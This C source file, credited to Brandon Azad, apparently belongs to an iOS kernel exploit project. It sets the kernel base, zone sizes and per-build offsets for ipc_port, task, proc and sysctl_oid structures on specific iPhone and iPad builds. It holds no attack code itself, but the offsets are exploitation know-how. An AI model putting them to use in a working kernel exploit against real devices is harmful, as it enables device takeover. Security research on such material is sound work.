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/*
* parameters.c
* Brandon Azad
*/
#define PARAMETERS_EXTERN
#include "parameters.h"
#include <assert.h>
#include <stdbool.h>
#include <string.h>
#include <sys/sysctl.h>
#include <sys/utsname.h>
#include "log.h"
#include "platform.h"
#include "platform_match.h"
// ---- Initialization routines -------------------------------------------------------------------
// A struct describing an initialization.
struct initialization {
const char *devices;
const char *builds;
void (*init)(void);
};
// Run initializations matching this platform.
static size_t
run_initializations(struct initialization *inits, size_t count) {
size_t match_count = 0;
for (size_t i = 0; i < count; i++) {
struct initialization *init = &inits[i];
if (platform_matches(init->devices, init->builds)) {
init->init();
match_count++;
}
}
return match_count;
}
// A helper macro to get the number of elements in a static array.
#define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0]))
// ---- General system parameters -----------------------------------------------------------------
// Initialization for general system parameters.
static void
init__system_parameters() {
STATIC_ADDRESS(kernel_base) = 0xFFFFFFF007004000;
kernel_slide_step = 0x200000;
message_size_for_kmsg_zone = 76;
kmsg_zone_size = 256;
max_ool_ports_per_message = 16382;
gc_step = 2 * MB;
}
// A list of general system parameter initializations by platform.
static struct initialization system_parameters[] = {
{ "*", "*", init__system_parameters },
};
// ---- Offset initialization ---------------------------------------------------------------------
// Initialization for iPhone11,8 16C50 (and similar devices).
static void
offsets__iphone11_8__16C50() {
SIZE(ipc_entry) = 0x18;
OFFSET(ipc_entry, ie_object) = 0;
OFFSET(ipc_entry, ie_bits) = 8;
OFFSET(ipc_entry, ie_request) = 16;
SIZE(ipc_port) = 0xa8;
BLOCK_SIZE(ipc_port) = 0x4000;
OFFSET(ipc_port, ip_bits) = 0;
OFFSET(ipc_port, ip_references) = 4;
OFFSET(ipc_port, waitq_flags) = 24;
OFFSET(ipc_port, imq_messages) = 64;
OFFSET(ipc_port, imq_msgcount) = 80;
OFFSET(ipc_port, imq_qlimit) = 82;
OFFSET(ipc_port, ip_receiver) = 96;
OFFSET(ipc_port, ip_kobject) = 104;
OFFSET(ipc_port, ip_nsrequest) = 112;
OFFSET(ipc_port, ip_requests) = 128;
OFFSET(ipc_port, ip_mscount) = 156;
OFFSET(ipc_port, ip_srights) = 160;
SIZE(ipc_port_request) = 0x10;
OFFSET(ipc_port_request, ipr_soright) = 0;
OFFSET(ipc_space, is_table_size) = 0x14;
OFFSET(ipc_space, is_table) = 0x20;
SIZE(ipc_voucher) = 0x50;
BLOCK_SIZE(ipc_voucher) = 0x4000;
OFFSET(proc, p_pid) = 0x60;
OFFSET(proc, p_ucred) = 0xf8;
OFFSET(proc, task) = 0x10;
OFFSET(proc, p_list) = 0x8;
SIZE(sysctl_oid) = 0x50;
OFFSET(sysctl_oid, oid_parent) = 0x0;
OFFSET(sysctl_oid, oid_link) = 0x8;
OFFSET(sysctl_oid, oid_kind) = 0x14;
OFFSET(sysctl_oid, oid_handler) = 0x30;
OFFSET(sysctl_oid, oid_version) = 0x48;
OFFSET(sysctl_oid, oid_refcnt) = 0x4c;
OFFSET(task, lck_mtx_type) = 0xb;
OFFSET(task, ref_count) = 0x10;
OFFSET(task, active) = 0x14;
OFFSET(task, map) = 0x20;
OFFSET(task, itk_space) = 0x300;
OFFSET(task, bsd_info) = 0x368;
}
// Initialization for iPhone10,1 16B92 (and similar devices).
static void
offsets__iphone10_1__16B92() {
offsets__iphone11_8__16C50();
OFFSET(task, bsd_info) = 0x358;
}
// Initialization for iPhone10,1 16B92 (and similar devices).
static void
offsets__iphone9_3__15E302() {
SIZE(ipc_entry) = 0x18;
OFFSET(ipc_entry, ie_object) = 0;
OFFSET(ipc_entry, ie_bits) = 8;
OFFSET(ipc_entry, ie_request) = 16;
SIZE(ipc_port) = 0xa8;
BLOCK_SIZE(ipc_port) = 0x4000;
OFFSET(ipc_port, ip_bits) = 0;
OFFSET(ipc_port, ip_references) = 4;
OFFSET(ipc_port, waitq_flags) = 24;
OFFSET(ipc_port, imq_messages) = 0x40;
OFFSET(ipc_port, imq_msgcount) = 0x50;
OFFSET(ipc_port, imq_qlimit) = 0x52;
OFFSET(ipc_port, ip_receiver) = 0x60;
OFFSET(ipc_port, ip_kobject) = 0x68;
OFFSET(ipc_port, ip_nsrequest) = 0x70;
OFFSET(ipc_port, ip_requests) = 0x80;
OFFSET(ipc_port, ip_mscount) = 0x9c;
OFFSET(ipc_port, ip_srights) = 0xa0;
SIZE(ipc_port_request) = 0x10;
OFFSET(ipc_port_request, ipr_soright) = 0;
OFFSET(ipc_space, is_table_size) = 0x14;
OFFSET(ipc_space, is_table) = 0x20;
SIZE(ipc_voucher) = 0x50;
BLOCK_SIZE(ipc_voucher) = 0x4000;
OFFSET(proc, p_pid) = 0x10;
OFFSET(proc, p_ucred) = 0x100;
OFFSET(proc, task) = 0x18;
OFFSET(proc, p_list) = 0x8;
SIZE(sysctl_oid) = 0x50;
OFFSET(sysctl_oid, oid_parent) = 0x0;
OFFSET(sysctl_oid, oid_link) = 0x8;
OFFSET(sysctl_oid, oid_kind) = 0x14;
OFFSET(sysctl_oid, oid_handler) = 0x30;
OFFSET(sysctl_oid, oid_version) = 0x48;
OFFSET(sysctl_oid, oid_refcnt) = 0x4c;
OFFSET(task, lck_mtx_type) = 0xb;
OFFSET(task, ref_count) = 0x10;
OFFSET(task, active) = 0x14;
OFFSET(task, map) = 0x20;
OFFSET(task, itk_space) = 0x308;
OFFSET(task, bsd_info) = 0x368;
}
// Initialize offset parameters whose values are computed from other parameters.
static void
initialize_computed_offsets() {
COUNT_PER_BLOCK(ipc_port) = BLOCK_SIZE(ipc_port) / SIZE(ipc_port);
COUNT_PER_BLOCK(ipc_voucher) = BLOCK_SIZE(ipc_voucher) / SIZE(ipc_voucher);
}
// A list of offset initializations by platform.
static struct initialization offsets[] = {
{ "*", "15A5278f-15G77", offsets__iphone9_3__15E302 },
{ "*", "16A366-16D5024a", offsets__iphone10_1__16B92 },
{ "iPhone11,*", "16A366-16D5024a", offsets__iphone11_8__16C50 },
{ "iPad8,*", "16A366-16D5024a", offsets__iphone11_8__16C50 },
{ "*", "*", initialize_computed_offsets },
};
// The minimum number of offsets that must match in order to declare a platform initialized.
static const size_t min_offsets = 2;
// ---- Public API --------------------------------------------------------------------------------
bool
parameters_init() {
// Get general platform info.
platform_init();
// Initialize general system parameters.
run_initializations(system_parameters, ARRAY_COUNT(system_parameters));
// Initialize offsets.
size_t count = run_initializations(offsets, ARRAY_COUNT(offsets));
if (count < min_offsets) {
ERROR("no offsets for %s %s", platform.machine, platform.osversion);
return false;
}
return true;
}
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